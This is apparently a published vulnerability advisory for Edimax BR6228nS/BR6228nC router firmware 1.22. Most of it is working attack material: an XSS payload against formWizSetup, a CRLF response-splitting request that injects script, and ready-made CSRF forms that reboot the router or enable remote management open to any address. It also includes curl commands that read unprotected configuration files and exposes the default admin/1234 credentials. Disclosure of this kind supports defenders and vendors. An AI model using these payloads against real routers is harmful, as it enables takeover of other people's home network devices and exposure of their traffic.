156 lines
No EOL
3.9 KiB
Text
156 lines
No EOL
3.9 KiB
Text
# Title: Edimax BR6228nS/BR6228nC - Multiple vulnerabilities
|
|
# Date: 01.09.15
|
|
# Vendor: edimax.com
|
|
# Firmware version: 1.22
|
|
# Author: Smash_
|
|
# Contact: smash [at] devilteam.pl
|
|
|
|
Few vulnerabilities found in Edimax BR6228nS/BR6228nC router firmware.
|
|
|
|
|
|
1/ Cross Site Scripting
|
|
|
|
Request:
|
|
POST /goform/formWizSetup HTTP/1.1
|
|
Host: 192.168.0.10:8080
|
|
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:18.0) Gecko/20100101 Firefox/18.0
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
|
Accept-Language: en-US,en;q=0.5
|
|
Accept-Encoding: gzip, deflate
|
|
Referer: http://192.168.0.10:8080/main.asp
|
|
Cookie: language=0
|
|
Authorization: Basic YWRtaW46MTIzNA==
|
|
Connection: keep-alive
|
|
Content-Type: application/x-www-form-urlencoded
|
|
Content-Length: 33
|
|
|
|
setPage=x");alert("X&wizEnabled=1
|
|
|
|
Response:
|
|
HTTP/1.0 200 OK
|
|
Server: GoAhead-Webs
|
|
|
|
<html>
|
|
<body class="background" onLoad=document.location.replace("x");alert("X")></html>
|
|
|
|
|
|
|
|
2/ HTTP Response Splitting
|
|
|
|
Request:
|
|
POST /goform/formReflashClientTbl HTTP/1.1
|
|
Host: 192.168.0.10:8080
|
|
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:18.0) Gecko/20100101 Firefox/18.0
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
|
Accept-Language: en-US,en;q=0.5
|
|
Accept-Encoding: gzip, deflate
|
|
Referer: http://192.168.0.10:8080/stadhcptbl.asp
|
|
Cookie: language=0
|
|
Authorization: Basic YWRtaW46MTIzNA==
|
|
Connection: keep-alive
|
|
Content-Type: application/x-www-form-urlencoded
|
|
Content-Length: 163
|
|
|
|
submit-url=%2Fstadhcptbl.asp%0d%0aXXX%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<script>alert('X')</script>
|
|
|
|
Response:
|
|
HTTP/1.0 302 Redirect
|
|
Server: GoAhead-Webs
|
|
Date: Fri Nov 16 18:08:51 2012
|
|
Pragma: no-cache
|
|
Cache-Control: no-cache
|
|
Content-Type: text/html
|
|
Location: http://192.168.0.10:8080/stadhcptbl.asp
|
|
XXX
|
|
Content-Length: 0
|
|
|
|
HTTP/1.1 200 OK
|
|
Content-Type: text/html
|
|
|
|
<script>alert('X')</script>
|
|
|
|
|
|
|
|
3/ Cross Site Request Forgery
|
|
|
|
Examples:
|
|
|
|
<html>
|
|
<!-- Reboot -->
|
|
<body>
|
|
<form action="http://192.168.0.10:8080/goform/formReboot" method="POST">
|
|
<input type="hidden" name="reset_flag" value="0" />
|
|
<input type="hidden" name="submit-url" value="/tools.asp" />
|
|
<input type="submit" value="Go" />
|
|
</form>
|
|
</body>
|
|
</html>
|
|
|
|
-
|
|
|
|
<html>
|
|
<!-- Enable remote access -->
|
|
<body>
|
|
<form action="http://192.168.0.10:8080/goform/formReManagementSetup" method="POST">
|
|
<input type="hidden" name="reManHostAddr" value="0.0.0.0" />
|
|
<input type="hidden" name="reManPort" value="8080" />
|
|
<input type="hidden" name="reMangEnable" value="ON" />
|
|
<input type="hidden" name="submit-url" value="/system.asp" />
|
|
<input type="hidden" name="" value="" />
|
|
<input type="submit" value="Go" />
|
|
</form>
|
|
</body>
|
|
</html>
|
|
|
|
-
|
|
|
|
<html>
|
|
<!-- XSS -->
|
|
<body>
|
|
<form action="http://192.168.0.10:8080/goform/formWizSetup" method="POST">
|
|
<input type="hidden" name="setPage" value="x");alert("X" />
|
|
<input type="hidden" name="wizEnabled" value="1" />
|
|
<input type="submit" value="Submit request" />
|
|
</form>
|
|
</body>
|
|
</html>
|
|
|
|
|
|
|
|
4/ Unprotected files
|
|
|
|
Following url's can be requested without http authorisation in order to obtain detail informations about router:
|
|
|
|
http://192.168.0.10:8080/FUNCTION_SCRIPT
|
|
http://192.168.0.10:8080/main.asp
|
|
|
|
Example:
|
|
|
|
devil@hell:~$ curl -ig http://192.168.0.10:8080/
|
|
HTTP/1.1 401 Unauthorized
|
|
Server: GoAhead-Webs
|
|
Date: Fri Nov 16 18:28:39 2012
|
|
WWW-Authenticate: Basic realm="Default: admin/1234"
|
|
Pragma: no-cache
|
|
Cache-Control: no-cache
|
|
Content-Type: text/html
|
|
|
|
devil@hell:~$ curl -ig http://192.168.0.10:8080/FUNCTION_SCRIPT
|
|
HTTP/1.0 200 OK
|
|
Date: Fri Nov 16 18:28:47 2012
|
|
Server: GoAhead-Webs
|
|
Last-modified: Fri Nov 16 09:57:30 2012
|
|
Content-length: 997
|
|
Content-type: text/html
|
|
|
|
_DATE_="2012.11.16-17:51:47"
|
|
_VERSION_="1.22"
|
|
_MODEL_="BR6228GNS"
|
|
_MODE_="EdimaxOBM"
|
|
_PLATFORM_="RTL8196C_1200"
|
|
_HW_LED_WPS_="4"
|
|
_HW_LED_POWER_="6"
|
|
_HW_LED_WIRELESS_="2"
|
|
_HW_LED_USB_="17"
|
|
_HW_BUTTON_RESET_="5"
|
|
(...) |